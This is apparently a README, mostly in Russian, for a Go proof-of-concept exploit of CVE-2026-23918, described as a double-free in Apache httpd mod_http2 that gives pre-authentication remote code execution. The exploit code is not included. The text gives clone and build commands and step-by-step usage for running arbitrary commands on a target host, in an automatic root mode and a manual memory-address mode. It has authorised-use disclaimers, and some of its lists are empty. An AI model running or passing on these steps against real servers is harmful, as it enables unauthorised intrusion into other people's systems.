
Double-free in Apache httpd mod_http2 stream cleanup leading to pre-auth RCE
Этот репозиторий содержит реализацию proof-of-concept на Go для сценария повреждения памяти до аутентификации, затрагивающего Apache httpd с mod_http2. Код в этом репозитории демонстрирует подход spray-and-trigger против уязвимой цели и предназначен для авторизованного исследования безопасности, тестирования и анализа защиты.
Проект фокусируется на эксплойте proof-of-concept для CVE-2026-23918 и предоставляет однофайловую реализацию в exploit_poc.go. Программа:
Этот репозиторий не предназначен для несанкционированного использования против сторонних систем.
Перед сборкой или запуском PoC убедитесь, что доступно следующее:
Соберите бинарный файл следующей командой:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
Это создает исполняемый файл с именем exploit в корне проекта.


PoC поддерживает два режима работы:
Этот режим требует права root и автоматически извлекает необходимые адреса памяти из целевого рабочего процесса Apache.
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
Этот режим требует, чтобы адреса функции system и слота запроса scoreboard были предоставлены вручную.
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
Основные параметры:
--host - Целевое имя хоста или IP-адрес--port - Целевой порт (по умолчанию: 443)--workers - Количество рабочих потоков разбрызгивания (по умолчанию: 32)--cmd - Команда для выполнения на цели--pid - ID рабочего процесса Apache для автоматического извлечения адресов памяти--system - Адрес символа system в ручном режиме--scoreboard - Адрес слота запроса scoreboard в ручном режимеsudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
Этот репозиторий предоставлен в образовательных целях и для оценки защитной безопасности. Любое использование за пределами контролируемой и авторизованной среды не рекомендуется и может нарушать применимые законы или политики.